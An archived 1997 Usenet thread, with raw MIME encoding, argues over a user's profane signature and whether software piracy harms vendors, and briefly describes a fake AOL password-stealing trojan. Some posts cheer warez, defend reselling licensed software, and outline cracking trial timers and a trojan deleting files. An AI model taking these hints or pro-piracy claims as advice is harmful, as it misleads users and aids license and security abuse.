>Oo0()oO0()()0oO00()oO0oO()0oO()0oOo0()0oOo0<br>> ><br>> =
>" Well if you think you're so fucking tough cocksukcer<br>> =
> I dare you to come up here right now<br>> >and take a Piece =
of Me!!<br>> >***Bas Bach really pissed at the bottle thrown at =
him.***]<br>> ><br>> ><font =
color=3D"#0000FF"><u>http://www.geocities.com/SunsetStrip/Stage/4794/home=
.html</u><font color=3D"#000080"><br>> > ICQ# 2399045<br>> =
><br>> ><br>> <br>> <br>> </p>
</font></font></font></font></font></font></font></font></font></font></f=
ont></font></font></font></font></font></font></font></font></body></html=
>
------=_NextPart_000_01BCB588.A9DF61A0--
ÇÃR£Ø§ ÇÃ|\\/|à R Ø
This is a multi-part message in MIME format.
------=_NextPart_000_01BCB588.C00A2000
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Did I miss something?
carlos camaro
Margaret <twv...@mail.connect.more.net> wrote in article
<OUoPPZa...@uppssnewspub04.moswest.msn.net>...
> Chip, how do you know that? This could be a phony address, yes?
> -----
> Margaret
>
> >cam...@prtc.ne if anyone is interested.
> >
> >--
>
>
>
------=_NextPart_000_01BCB588.C00A2000
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
<html><head></head><BODY bgcolor=3D"#7BC7FF"><p><font size=3D6 =
color=3D"#000080" face=3D"MisterEarl BT">Did I miss =
something?<br><br>carlos camaro<br><br>Margaret <<font =
color=3D"#0000FF"><u>twv...@mail.connect.more.net</u><font =
color=3D"#000080">> wrote in article <<font =
color=3D"#0000FF"><u>OUoPPZa...@uppssnewspub04.moswest.msn.net</u><f=
ont color=3D"#000080">>...<br>> Chip, how do you know that? =
This could be a phony address, yes?<br>> -----<br>> =
Margaret<br>> <br>> ><font =
color=3D"#0000FF"><u>cam...@prtc.ne</u><font color=3D"#000080"> if =
anyone is interested.<br>> ><br>> >--<br>> <br>> =
<br>> </p>
</font></font></font></font></font></font></font></body></html>
------=_NextPart_000_01BCB588.C00A2000--
Margaret
Carlos, it's your blatant use of profanity in a *public* newsgroup which
has everyone so "obsessed." Please read this excerpt from the rules of
conduct:
RULES OF CONDUCT
Appropriate Language: The purpose of the newsgroups is to exchange technical
information and expertise on Microsoft products. Please avoid personal
attacks, slurs, and excessive profanity in your messages.
-----
Margaret
ÇĂRŁŘ§ ÇĂ|\/|Ă R Ř wrote in article
<01bcb5ab$6b85d7e0$b44d92cc@harrycal>...
>WOULD SOMEONE MIND TELLING ME WHAT'S YOUR OBSESSION WITH ME? I'M THE LIFE
>OF THE PARTY AND ALL I DID WAS COME HERE TO ASK A QUESTION ABOUT IE AND YOU
>ALL MADE ME A SUPERSTAR. WILL YOU GUYS JUST DROP IT AND STOP WASTING
>BANDWITH.
>
>MAIL ME, DON'T FUCK UP THE NEWSGROUP WITH THIS SHIT.
>
>cam...@prtc.net
>
>
>--
>
> Carlos Camaro
>
>Oo0()oO0()()0oO00()oO0oO()0oO()0oOo0()0oOo0
>
>" Well if you think you're so fucking tough cocksukcer
> I dare you to come up here right now
>and take a Piece of Me!!
>***Bas Bach really pissed at the bottle thrown at him.***]
>
>http://www.geocities.com/SunsetStrip/Stage/4794/home.html
> ICQ# 2399045
>
>Not ME Jim Jr <no...@my.net> wrote in article
><eP8CCka...@uppssnewspub05.moswest.msn.net>...
>[<cid:014701bcb5a9$1733c320$c4d6...@spaceman.mdc.net>] WARNING Yes It
>can be anybody , Can't It...?? really James Driscoll Jr
><mailto:spac...@mdc.net>,?
> Margaret wrote in message ...Chip, how do you know that? This could be a
>phony address, yes?
>-----
>Margaret
>
>>cam...@prtc.ne <mailto:cam...@prtc.ne> if anyone is interested.
>>
>>--
>
>
Spider
Margaret your beating a dead horse with this one unless you can have
stamped on their forheads they still do it no matter how much you post it.
Margaret <twv...@mail.connect.more.net> wrote in article
<#e9uJvat...@uppssnewspub04.moswest.msn.net>...
> Carlos, it's your blatant use of profanity in a *public* newsgroup which
> has everyone so "obsessed." Please read this excerpt from the rules of
> conduct:
>
> RULES OF CONDUCT
>
> Appropriate Language: The purpose of the newsgroups is to exchange
technical
> information and expertise on Microsoft products. Please avoid personal
> attacks, slurs, and excessive profanity in your messages.
>
> -----
> Margaret
>
>
> ÇÃR£Ø§ ÇÃ|\/|à R Ø wrote in article
Steve
Margaret wrote in message ...
> Actually, Steve and Spider, you're both wrong......I'm not about to post a
>private e-mail to a newsgroup, but Carlos did e-mail me and said he didn't
>know about the rules of conduct, and he promised to tone it down a
>bit.....he even thanked me for letting him know. Sometimes it just takes a
>little patience, boys. <g>
You would think all that it takes is a little common sense. The guy comes
on here "shouting" in his 100 point font (okay, it wasn't quite that large)
with compound profanity in his signature, and he didn't "get" why we were
all upset?
:- ) Steve
ta...@lava.net
MySTiC wrote:
>
> Freedom wrote in article <34073F...@bellsouth.net>...
> it on C? :)
Works here;)
MySTiC
Fibber
Lighten up the Lotta ye!
Fudging Bas.....!
His dad bought a copy of MS Office and sold it. Big Deal! So he
shouldn't.
I think his crime is in actually PAYING for it the first Place.
Anyway it usually 'innocent' people you think nothing about copyright
and licenses etc. dammit the guy bought the software, He Paid for it
[I think but this is not actually established is it?] and most people
would think nothing about selling on a product they bought. Maybe a
little more public awareness is needed but this guy committed not
crime that would go to court. Maybe! Just maybe, Mr. MS himself, Mr.
Bill would ask fro a share of the proceeds.
Warez forever free!!! Now piss off and let the boy alone!
On Thu, 28 Aug 1997 13:48:40 GMT, bi...@blueskycomputing.com (Bill
Hines) wrote:
>The next time you are in the store with your dad, pick up something of
>interest to you and ask your dad if you can steal it. When he says no,
>then ask why it's OK for him to steal from software companies just
>because it's easier to get away with. I can't believe so many people
>do this stuff and then react in shock when their kids do something
>unethical and immoral!
>snip
Tom C. Koch
It also depends on where you grew up, and with what language. Where we
might say "damn" (or "darn" in my hometown), the Dutch and the Germans say
"shit" with nary a raised eyebrow in sight. Many Europeans that I know have
learned English from watching American television and movies. To them,
"fuck" is just another word, quite useful to use, and without the taboo that
many Americans associate with it. And if you had ever lived in New York
city, you'd know that "fuck" is just another word, and a quite expressive
one at that. It's part of the New York alphabet: fuckin'a, fuckin'b,
fuckin'c, etc.
I suspect Carlos' mother tongue is something other than English, since PRTC
stands for Puerto Rican Telephone Company. It is quite possible that the
words you find so inappropriate do not affect him the same way. And the
main reason so many English speakers find them offensive has to do with
historical events involving the Norman invasion and the attempts of the
conquerors to suppress Anglo-Saxon in favor of French.
If we're going to have a global community here, we have to loosen up some of
our own culturally-imposed taboos.
Tom Koch
chi...@xs4all.nl
alex...@euronet.nl
Awareness is free.
Margaret wrote in message ...
> Chip Ciammaichella wrote in article ...
>
>>in a public NG good manners should be
>>the rule of the day.
>
>Yes, well, *you* know this, and *I* know this, but obviously *Carlos*
didn't
>know this......it shocks me what some people find "acceptable," but it is
>all a matter of how we were raised. Generally speaking, people take after
>their parents.
>-----
>Margaret
>
>
Tom and Patricia
Tom C. Koch wrote in article
<#xFvgMit...@uppssnewspub04.moswest.msn.net>...
>...And if you had ever lived in New York
>city, you'd know that "fuck" is just another word, and a quite expressive
>one at that. It's part of the New York alphabet: fuckin'a, fuckin'b,
>fuckin'c, etc.
And, if you grew up in any of the hundreds of small towns in New York state
outside of NYC that, anywhere else in the country, all get lumped in as
"upstate New York," you would realize that we we came up with FAR more foul
mouthed things than that to say in our attempt to seem as important as the
"Big City."
>If we're going to have a global community here, we have to loosen up some
of
>our own culturally-imposed taboos.
>
Good point, Tom
Tom Shortell
FRiGG
MySTiC wrote:
> Sad, does anyone still put Windows in a /Windows Directory? Or even install
> it on C? :)
Why not?
FRiGG
Donald O. Ward
TJ Dains wrote:
>
> Jessie Palmer wrote:
> >
> > It's a virus right? Thank God I didn't download it. If I did my dad would
> > kill me. We have Office 97 fully installed and after the installation, he
> > sold the CD to a friend. If I would of lost office i would of been dead.
> >
> > Oh yeah, I've read that most viruses end in .com
> >
> > Bobby wrote in article <3403BB...@bobby.com>...
> >
> > >AOL PASSWORD CRACKER REPOST
> > >
>
> is offering one thing, but turns out being destructive. And Trojans and
> virii can end with any extension. Most of the password sniffing
> programs sent to members on AOL are either .zip files containing
> setup.exe and all of the files needed to capture your password and mail
> it to another account, or are sent as self-extracting programs ending
> with .exe which does the same thing.
>
> It is the Trojan Horse programs that finally lead AOL (in its typical
> reactionary style) to put warnings on files attached to email before
> being downloaded. Too little, too late - since quite possibly a quarter
> of its membership has probably download such wonderful promised programs
> as "OH Generator" and "Guide Tools" sent out by the wannabee-hackerz
> giving them what amounts to unlimited access to AOL at others expense.
>
> --
> My e-mail address has been modified to prevent SPAMMING.
> *** Remove "-NOSPAM-" from address to respond via email ***
>Can anyone tell me if this wiped the virus out of my system, seems fine, but will it resurface later?
>HELP
Margaret
Tom and Patricia
Even if this jerk hasn't fooled anyone with his half-assed trojan, he sure
has managed to waste a lot of our time. I just counted over 140 posts in
response to his crap in the inetexplorer.ie4 group alone! (Talk about a
waste of time ; )
Always be careful...
Tom Shortell
C. Capps
Actually, it doesn't matter. Someone can just use the "windir" variable to
delete the proper files...
C. Capps
"Of all the things I've lost in life, I miss my mind the most"
__________________________________________________________________________
The Utopia Planitia Trek Ship Database: http://www.behaviour.co.uk/Utopia/
&&& Make sure to remove the asteriks in my e-mail address when responding! &&&
Tom Pepper
Yes, indeed. Let's teach in it public and private school, and at Sunday
schools. Let's use it in big groups. After all, we must educate each
other.
(grin)
--
Tom Pepper - Sharp Communication, Inc.
to...@sharpcom.com
http://www.sharpcom.com
Tom C. Koch <nos...@xs4all.nl> wrote in article
<#xFvgMit...@uppssnewspub04.moswest.msn.net>...
> It also depends on where you grew up, and with what language. Where we
> might say "damn" (or "darn" in my hometown), the Dutch and the Germans
say
> "shit" with nary a raised eyebrow in sight. Many Europeans that I know
have
> learned English from watching American television and movies. To them,
> "fuck" is just another word, quite useful to use, and without the taboo
that
> many Americans associate with it. And if you had ever lived in New York
> city, you'd know that "fuck" is just another word, and a quite expressive
> one at that. It's part of the New York alphabet: fuckin'a, fuckin'b,
> fuckin'c, etc.
>
> I suspect Carlos' mother tongue is something other than English, since
PRTC
> stands for Puerto Rican Telephone Company. It is quite possible that the
> words you find so inappropriate do not affect him the same way. And the
> main reason so many English speakers find them offensive has to do with
> historical events involving the Norman invasion and the attempts of the
> conquerors to suppress Anglo-Saxon in favor of French.
>
> If we're going to have a global community here, we have to loosen up some
of
> our own culturally-imposed taboos.
>
> Tom Koch
> chi...@xs4all.nl
> alex...@euronet.nl
> Awareness is free.
>
>
>
> Margaret wrote in message ...
R.W.GERLING
The use of proper English has been lost. This has been caused by the
uneducated masses living in a dream world of Television, lousy movies, and
people who think it's cute. rg
--
rger...@nemonet.com
http://cueball.nemonet.com/users/rgerling/default.asp
SBN Level II
Hosted by Nemonet. br...@nemonet.com
Margaret <twv...@mail.connect.more.net> wrote in article
<eWYPeZh...@uppssnewspub04.moswest.msn.net>...
Eldon Ward
Reminds me of the story about the first grade teacher who had to constantly
admonish little Johnny about his frequent use of the "f-word". One day she
asked him why he used the word so often, when he didn't even know what it
meant. Johnny quickly replied "Of course, I know what it means. It means
the car won't start again!"
Eldon
ew...@brazosport.cc.tx.us
Tom C. Koch wrote in article
John Clifford Hole
Carlos,
While it's 'open season on Carlos'. <g>
Would you mind deleting some of the stuff tacked on the end of your
messages in future to save my phone bill a few pennies.
I got told off about not doing this so I don't see why anybody else should
get away with it. <bg>
--
John Clifford Hole [MVP] [UK]
ÇÃR£Ø§ ÇÃ|\/|à R Ø <cam...@prtc.net> wrote in article
<01bcb5aa$d994b2c0$b44d92cc@harrycal>...
Camaro
The main cause in my case is Quentin Tarantino movies and being born and
raised in Manhattan. I've since relocated to Puerto Rico, the lovely island
of drug busts and shoot outs.
carlos camaro
R.W.GERLING <rger...@nemonet.com> wrote in article
<01bcb62b$9a420c40$cab0...@rgerling.nemonet.com>...
Camaro
Steve <swe...@ix.netcom.com> wrote in article
<Oz5w4uc...@uppssnewspub05.moswest.msn.net>...
> Margaret wrote in message ...
>
Well Steve, I never got any complaints before, but then again I was
posting in the Heavy Metal newsgroups. Sorry for the hassle, now back to
business.
carlos camaro
Steve
Camaro wrote in message <01bcb70f$4895caa0$f24492cc@juarez>...
> Well Steve, I never got any complaints before, but then again I was
>posting in the Heavy Metal newsgroups. Sorry for the hassle, now back to
>business.
Hey, at least you are a reasonable person and toned it down when we all
complained. Because of that, I for one will not hold it against you. If
you disregarded all of us, it would be different story.
:- ) Steve
Tom C. Koch
Dave Newsome wrote in message
<#oFrcZwt...@uppssnewspub04.moswest.msn.net>...
<snip>
If everyone paid for their
>software I wouldn't have to go and pay $50 for a game or $450 for an Office
>Suite.
>
Yeah, right. And I'll sell you a nice bridge cheap, on some nice Florida
land.
Dave Newsome
Geez, it is butt holes like him who make us honest people who *DO* buy our
software pay *MORE* money to pay for *HIS* pirated copy!
Theft is theft is theft. You may not have to pay for it (assuming you never
get caught), but the honest law abiding citizens who don't pirate and the
shareholders of the company do pay for it. If everyone paid for their
software I wouldn't have to go and pay $50 for a game or $450 for an Office
Suite.
Dave
Anthony wrote in article <01bcb6c6$81229b80$4aa3379d@anthonya>...
>You don't buy software, you buy a limited license to use it. Most licenses
>do not allow you to install the software on more than a fixed number of
>computers (usually just one) at a time. A person who violates a license
>agreement may be sued; under certain circumstances, he may be prosecuted as
>well.
>--
>Anthony
>
>Fibber <moonw...@neverland.com> wrote in article
><34104c98...@news.indigo.ie>...
Dave Newsome
Simple economics my friend.
Dave
Tom C. Koch wrote in article ...
>
>Dave Newsome wrote in message
><#oFrcZwt...@uppssnewspub04.moswest.msn.net>...
><snip>
>If everyone paid for their
>>software I wouldn't have to go and pay $50 for a game or $450 for an
Office
>>Suite.
>>
>
Spaceman (Me Jim)
This is a multi-part message in MIME format.
------=_NextPart_000_00B2_01BCB782.895F7FE0
Content-Type: multipart/alternative;
boundary="----=_NextPart_001_00B3_01BCB782.895F7FE0"
------=_NextPart_001_00B3_01BCB782.895F7FE0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Sorry to burst YOUR bubble but your wrong ,Software Piracy would affect =
sale of a product
If you don't beleive me=20
post a cheat for your software and see if sales go down within a month =
or two.
Granted it may not hurt a lot but after awhile of them doing this to you =
your price would have to go up to cover costs.
ANY PIRACY OR THEFT RAISES PRICES
WAKE UP! PLEASE
Mike Langley wrote in message ...
Dave,
Sorry to burst your bubble, but it isn't the software pirates =
that cause
your software to be so high=20
------=_NextPart_001_00B3_01BCB782.895F7FE0
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>
<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.71.1125.1"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>Sorry to burst YOUR bubble but =
your wrong=20
,</FONT><FONT size=3D2>Software Piracy would affect sale of a =
product<BR>If you=20
don't beleive me <BR>post a cheat for your software and see if sales go =
down=20
within a month or two.</FONT> </DIV>
<DIV><FONT size=3D2>Granted it may not hurt a lot but after awhile of =
them doing=20
this to you </FONT> </DIV>
<DIV><FONT size=3D2>your price would have to go up to cover=20
costs.<BR></FONT> </DIV>
<DIV><FONT color=3D#000000 size=3D2>ANY PIRACY OR THEFT RAISES=20
PRICES<BR></FONT> </DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT><FONT size=3D2>WAKE UP! =
PLEASE</FONT></DIV>
<DIV><FONT size=3D2></FONT><A href=3D"mailto:spac...@mdc.net"><IMG =
align=3Dbaseline=20
alt=3D"" border=3D0 hspace=3D0=20
src=3D"cid:00a901bcb7a4$10605700$08d6...@spaceman.mdc.net"></A></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; PADDING-LEFT: =
5px">
<DIV>Mike Langley<WEBMAST...@MCIONE.COM> wrote in=20
message<ONGYII4...@UPPSSNEWSPUB04.MOSWEST.MSN.NET> =
...</DIV><FONT=20
size=3D2>Dave,<BR> Sorry to burst your bubble, but =
it isn't=20
the software pirates that cause<BR>your software to be so high=20
</FONT></BLOCKQUOTE></BODY></HTML>
------=_NextPart_001_00B3_01BCB782.895F7FE0--
------=_NextPart_000_00B2_01BCB782.895F7FE0
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-ID: <00a901bcb7a4$10605700$08d6...@spaceman.mdc.net>
<encoded_portion_removed>
------=_NextPart_000_00B2_01BCB782.895F7FE0--
Tom Pepper
Stealing by any other name is still stealing, right Dave?
Dave Newsome <syn...@umich.edu> wrote in article
<O4cPgl7...@uppssnewspub04.moswest.msn.net>...
> It doesn't matter whether the company in question knows about the piracy
or
> not. The simple fact of the matter is that lost revenue (no matter how
> small or how large, whether or not the company knows about it, regardless
of
> whether the company has an accurate figure for it) translates into lost
> income. If I am a software developer and I see that MS is only making X
> amount of revenue off of MS Office and it would take me Y to produce a
> competitive version and Y is not that much smaller than X, then I will
not
> endeavor to produce my competitive version. Why you ask? Because I
would
> have to capture a larger share of the market to make a profit, which
would
> probably not be feasable.
>
> However, if the market is large due to non-piracy or any other factor,
this
> might make X a lot bigger than Y and thus make my competitive version
more
> likely to turn a profit. Given the better odds of my product turning a
> profit I might go into competition with MS which would end up lowering
the
> prices of the product.
>
> This is all simple economics. But if you guys want to make excuses,
which
> are based on false analogies and white elephants, then I can not make any
> argument, because you will believe whatever it is you want to believe.
The
> facts remain the same.
>
> Sincerely,
> Dave
>
>
> Mike Langley wrote in article ...
>
> > Dave,
> > Sorry to burst your bubble, but it isn't the software pirates that
> cause
> >your software to be so high since the company really doesn't have a way
to
> >monitor software that is on the internet. I download a full version of a
> >product that has a thirty day trial timer on it. After that thirty days
the
> >product (software) doesn't function anymore. Pirated software comes in
at
> >the point someone decompiles said trial version to learn of the timer
code
> >password or Reg. #. MS or whatever company never knows about or feels
the
> >impact of this software not being legally purchased since its normally
> those
> >who can't afford said software that go for the pirated copies that come
> from
> >Warez Groups across the internet. And as for your comment about simple
> >economics, bull!!!!!! The only way a company can be economically hurt is
if
> >that company has a material value envested such as a CD or packaging and
> >manuals that must be printed. The only way that this can be accomplished
is
> >if it is stolen right off the shelves from an independent or software
> >vendor. How do I know this, 15 years writing and selling software.
> >
> >
> >Mike Langley
> >President: Reality Graphics Design & Consultation
> >Member: WebMaster Partnership
> >Member: HTML Writers Guild
> >Member: Site Builders Network Level 2
> >Member: Microsoft Developers Network
> >Email: WebMast...@MCIone.com
> >Email: Auto...@aol.com
> >
> >
> >
> >
> >
> > Newsome wrote in article ...
BD
You've gotten LOTS of business-knowledge from that lemonade-stand
experience, haven't you?... duncy-donkey...
Unlike your lemonade-empire, they've got development-costs to recover,
thousands of paychecks to deliver, taxes, electricity/water/sewer type
costs, etc...
Like if everyone in your town pirated cable-tv.. There is no direct cost
(using your simple 'model') caused by 'pulling' the signal out of that great
big wire, but they'd, for whatever unknown reason, go out of business...
Like sneaking into a movie-theater, onto a bus, etc...
Mike Langley wrote in article ...
>
Tom C. Koch
I have never seen prices drop when a major software pirate is captured.
Simple economics. If the public is willing to pay $xx for it now, they'll
be willing tomorrow, so let's keep the price as it is, and use the "savings"
for a nice executive perk.
More simple economics: those who pirate software obviously would not *buy*
the software. Most of those who buy (or otherwise procure) pirated software
obviously would not buy the commercial product. That means that all those
figures of "lost income" by the software companies is just nonsense. You
can't lose something you never had and never would have had.
Please note that I do not condone pirating. Good Heavens, I even PAY for
shareware!
Tom Koch
chi...@xs4all.nl
alex...@euronet.nl
Awareness is free.
Dave Newsome wrote in message ...
Tom C. Koch
Wait a minute. I just re-read this after responding in some other group.
You logic fails at Step1: If more people bought software instead of pirating
software the market would be bigger
That is a very big hypothetical IF, and I doubt you can provide any evidence
that more people WOULD buy software if a pirated version were not available.
Without those "more people" buying software, your entire argument flounders.
Consider this true scenario: a friend gave me a 6 set CD-ROM that contained
about 50-60 pirated games, utilities, and some serious applications (Corel
Draw 7 was one of them). This friend knows very little about computers, and
just thought this would make a nice gift for a computer geek like myself.
He didn't know these were pirated. I did, and haven't installed any of them
for more than 1 day, just out of curiosity. Now that friend was not about
to walk into a store and spend hundreds and hundreds of guilders on
commercial software. He paid about 50 guilders for the 6-CD set. (By
comparison, a new game costs at least 99 guilders, which is a bit steep for
a gift). Now tell me please, which software manufacturer lost any money at
all in this scenario? In fact, did anyone at all lose money? No. The
pirate made 50 guilders, the friend did not lose any money (it's the thought
that counts, whether I use any of the gift or not), and I didn't lose any
money. But you can be sure that the accountants are counting that 50
guilders as "lost income".
Sorry, I didn't really mean to get into this, but now I have<g>.
I'm going back to the Help Desk now.
Tom Koch
chi...@xs4all.nl
alex...@euronet.nl
Awareness is free.
Dave Newsome wrote in message
<#CkGga7t...@uppssnewspub04.moswest.msn.net>...
> Simple economics:
>
>1) If more people bought software instead of pirating software the market
>would be bigger.
>2) If the market was bigger MS would make more money.
>(I agree with you up to this point)
>3) If MS made more money other companies would see this and want to get
>into that market. I.E. A larger customer pool would support more
>competition.
>4) More competition, as I am sure you are well aware of, has the affect of
>lowering prices.
>
>In any case, I am an ardent believer of my opinion. If this does not
>explain my view to you, then it is futile for me to attempt to explain
>further. So, regardless of your belief, have a nice life (even though you
>are wrong ;-).
>
>Sincerely,
> Dave
>
>
Tom C. Koch
Dave Newsome wrote in message
<#CkGga7t...@uppssnewspub04.moswest.msn.net>...
<snip>
>
>In any case, I am an ardent believer of my opinion. If this does not
>explain my view to you, then it is futile for me to attempt to explain
>further. So, regardless of your belief, have a nice life (even though you
>are wrong ;-).
You took the words right out of my mouth, Dave. <g>
Mike Langley
Dave,
Sorry to burst your bubble, but it isn't the software pirates that cause
your software to be so high since the company really doesn't have a way to
monitor software that is on the internet. I download a full version of a
product that has a thirty day trial timer on it. After that thirty days the
product (software) doesn't function anymore. Pirated software comes in at
the point someone decompiles said trial version to learn of the timer code
password or Reg. #. MS or whatever company never knows about or feels the
impact of this software not being legally purchased since its normally those
who can't afford said software that go for the pirated copies that come from
economics, bull!!!!!! The only way a company can be economically hurt is if
that company has a material value envested such as a CD or packaging and
manuals that must be printed. The only way that this can be accomplished is
if it is stolen right off the shelves from an independent or software
vendor. How do I know this, 15 years writing and selling software.
Mike Langley
President: Reality Graphics Design & Consultation
Member: WebMaster Partnership
Member: HTML Writers Guild
Member: Site Builders Network Level 2
Member: Microsoft Developers Network
Email: WebMast...@MCIone.com
Email: Auto...@aol.com
Newsome wrote in article ...
| Simple economics my friend.
|
|Dave
|
|Tom C. Koch wrote in article ...
|
|>
|>Dave Newsome wrote in message
|><#oFrcZwt...@uppssnewspub04.moswest.msn.net>...
|><snip>
|>If everyone paid for their
|>>software I wouldn't have to go and pay $50 for a game or $450 for an
|Office
|>>Suite.
|>>
|>
|>Yeah, right. And I'll sell you a nice bridge cheap, on some nice Florida
|>land.
|>
Dave Newsome
Simple economics:
1) If more people bought software instead of pirating software the market
would be bigger.
2) If the market was bigger MS would make more money.
(I agree with you up to this point)
3) If MS made more money other companies would see this and want to get
into that market. I.E. A larger customer pool would support more
competition.
4) More competition, as I am sure you are well aware of, has the affect of
lowering prices.
In any case, I am an ardent believer of my opinion. If this does not
explain my view to you, then it is futile for me to attempt to explain
further. So, regardless of your belief, have a nice life (even though you
are wrong ;-).
Sincerely,
Dave
Tom C. Koch wrote in article
<#NlDbt3t...@uppssnewspub04.moswest.msn.net>...
>I have never seen prices drop when a major software pirate is captured.
>Simple economics. If the public is willing to pay $xx for it now, they'll
>be willing tomorrow, so let's keep the price as it is, and use the
"savings"
>for a nice executive perk.
>
>More simple economics: those who pirate software obviously would not *buy*
>the software. Most of those who buy (or otherwise procure) pirated
software
>obviously would not buy the commercial product. That means that all those
>figures of "lost income" by the software companies is just nonsense. You
>can't lose something you never had and never would have had.
>
>Please note that I do not condone pirating. Good Heavens, I even PAY for
>shareware!
>
>Tom Koch
>chi...@xs4all.nl
>alex...@euronet.nl
>Awareness is free.
>
>
>
>
>Dave Newsome wrote in message ...
Dave Newsome
It doesn't matter whether the company in question knows about the piracy or
not. The simple fact of the matter is that lost revenue (no matter how
small or how large, whether or not the company knows about it, regardless of
whether the company has an accurate figure for it) translates into lost
income. If I am a software developer and I see that MS is only making X
amount of revenue off of MS Office and it would take me Y to produce a
competitive version and Y is not that much smaller than X, then I will not
endeavor to produce my competitive version. Why you ask? Because I would
have to capture a larger share of the market to make a profit, which would
probably not be feasable.
However, if the market is large due to non-piracy or any other factor, this
might make X a lot bigger than Y and thus make my competitive version more
likely to turn a profit. Given the better odds of my product turning a
profit I might go into competition with MS which would end up lowering the
prices of the product.
This is all simple economics. But if you guys want to make excuses, which
are based on false analogies and white elephants, then I can not make any
argument, because you will believe whatever it is you want to believe. The
facts remain the same.
Sincerely,
Dave
Mike Langley wrote in article ...
> Dave,
> Newsome wrote in article ...
David
And, Another good Flamewar ends in a sizzle...:) NEXT!!!!!!!!!!!!!!
David
Steve wrote in article ...
Jeff Verner
MAN! I have been amazed at this thread......software makers are at risk
just as ANY company that makes a product that can be copied, or is easily
transferred . How many of you so called law abiding citizens ever copied a
music cd onto a tape ot whatever? isn't that lost revenue for the comany
too? they make cassette tapes as well as cds. I don't reccomend "spftware
piracy" or cheating or whatever but If I have 2 computers and I buy a piece
of software and I damn well better be able to put it on both if I want to.
If this takes a few dollars out of Gate's pocket I won't lose any sleep over
it. It just don't make any sense for a SOHO user to have to buy several
copies of the same program. Do you buy 2 music cd's so you can play 1 in
home and 1 in car? whats the diff?
JAV...@ames.net
Tom C. Koch wrote in article ...
>
>Dave Newsome wrote in message
><#CkGga7t...@uppssnewspub04.moswest.msn.net>...
><snip>
>>
>>In any case, I am an ardent believer of my opinion. If this does not
>>explain my view to you, then it is futile for me to attempt to explain
>>further. So, regardless of your belief, have a nice life (even though you
>>are wrong ;-).
>
>You took the words right out of my mouth, Dave. <g>
>
Steve Spence
microsoft does allow you to install on two computers as long as both are =
not being used at the same time. i.e. I have office 97 on my desktop and =
laptop.
--=20
______________________________________
Steve Spence
ssp...@sequeltech.com
Http://www.sequeltech.com
Steve...@worldnet.att.net
Http://www.areaairduct.com/spence
MSMVP, MSDN, ClubIE
BetaID# 254651
ICQ 2063316
For definitions, answers, and how to - http://www.whatis.com
Windows 98 - Feature Overview
http://www.microsoft.com/windows/windows95/info/memfeat.htm
http://www.microsoft.com/corpinfo/press/1997/Jul97/WIN98.htm
______________________________________
Jeff Verner wrote in message ...
> MAN! I have been amazed at this thread......software makers are at =
risk
>just as ANY company that makes a product that can be copied, or is =
easily
>transferred . How many of you so called law abiding citizens ever =
copied a
>music cd onto a tape ot whatever? isn't that lost revenue for the =
comany
>too? they make cassette tapes as well as cds. I don't reccomend =
"spftware
>piracy" or cheating or whatever but If I have 2 computers and I buy a =
piece
>of software and I damn well better be able to put it on both if I want =
to.
>If this takes a few dollars out of Gate's pocket I won't lose any sleep =
over
>it. It just don't make any sense for a SOHO user to have to buy several
>copies of the same program. Do you buy 2 music cd's so you can play 1 =
in
>home and 1 in car? whats the diff?
>JAV...@ames.net
>
>Tom C. Koch wrote in article ...
>
>>
>>Dave Newsome wrote in message
>><#CkGga7t...@uppssnewspub04.moswest.msn.net>...
>><snip>
>>>
>>>In any case, I am an ardent believer of my opinion. If this does not
>>>explain my view to you, then it is futile for me to attempt to =
explain
>>>further. So, regardless of your belief, have a nice life (even =